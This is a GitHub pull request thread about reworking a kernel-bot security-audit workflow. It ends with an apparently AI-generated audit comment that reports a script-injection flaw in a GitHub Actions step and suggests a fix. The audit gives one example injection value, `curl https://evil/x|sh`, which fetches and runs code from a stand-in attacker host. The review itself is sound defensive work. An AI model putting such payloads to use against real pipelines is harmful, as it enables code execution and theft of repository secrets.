[sayakpaul]

Fixes #901

Additionally,

• Modifies the security audit analysis workflow to only trigger on "workflow dispatch". So, the idea is that a maintainer would do kernel-bot security after initially vetting that a PR doesn't have any jailbreaking instructions.
• Removes the code to post to Slack. Instead, the action comments on a concerned PR. That way, things remain transparent and self-contained.

[sayakpaul]

/kernel-bot security

[github-actions]

Invalid command. Use /kernel-bot <build|build-and-stage|merge-and-upload|release> <kernel1> [kernel2 ...] [--branch <target_branch>].

[sayakpaul]

I am afraid we cannot test it without merging to main similar to how these kinds of things were tested in the past.

[drbh]

looks good overall, but I think we should move the dispatch logic into the dispatch.py file and update the do_dispatch_release function to take any new args needed to conditionally trigger the security workflow.

**also I think maybe some of the existing function names could be improved (ie maybe dispatch_release should be dispatch?) if you want to make any changes to that feel free to update. however we can totally improve in another PR, and was just a thought since you're touching these files

[drbh]

I think this should be in dispatch.py since that is where we list the other workflows we trigger

[drbh]

this logic should probably also be in the dispatch script too, so we follow the existing patterns

[sayakpaul]

@drbh your comments are addressed now. PTAL.

[github-actions]

🔒 Security Audit — findings detected

An automated, AI-generated security review of this PR flagged the following. These may include false positives — review each item before acting.

I have a clear finding. The validation step explicitly intended to "Guard against injection" itself contains a script injection vulnerability — it interpolates ${{ inputs.pr_number }} directly into the shell instead of binding it to an env var (as the other steps in the same file correctly do).

[MEDIUM] .github/workflows/security-audit.yml:38-46 — Script injection in the "Validate PR number" step
The step whose comment reads "Guard against injection via the pr_number input" interpolates ${{ inputs.pr_number }} directly into the shell:

case "${{ inputs.pr_number }}" in

A dispatcher who supplies pr_number like `curl https://evil/x|sh` (or $(...)) triggers command substitution before the case pattern ever runs, so the validation rejects the input after the injected command has already executed. The same workflow correctly handles the same input via env-var binding two steps later (PR_NUMBER: ${{ inputs.pr_number }} for gh pr diff and gh pr comment), so this is an inconsistency, not a stylistic preference.
Exploitability today is bounded — workflow_dispatch requires actions: write (i.e. repo write access), and the kernel-bot itself only ever passes str(issue_number) from the GitHub API. The risk is (a) anyone with write access can dispatch directly via the API/UI and bypass the bot's numeric guarantee, and (b) the bug undercuts the step's stated purpose, so a future change that exposes the workflow to a less-trusted trigger (e.g. workflow_call) would silently re-open it. The new workflow also grants issues: write and pull-requests: write and holds ANTHROPIC_API_KEY in env, so the blast radius of a successful injection is non-trivial.
Suggestion: Bind the input to an env var and reference the env var in the shell, mirroring the pattern already used in the Generate diff / Comment audit result steps:

- name: Validate PR number
  env:
    PR_NUMBER: ${{ inputs.pr_number }}
  run: |
    case "${PR_NUMBER}" in
      ''|*[!0-9]*)
        echo "Invalid pr_number input: must be numeric"
        exit 1
        ;;
    esac

Audited head SHA 5952afa9e9407f49b58d466b6c2834b076ca2a53 · audit run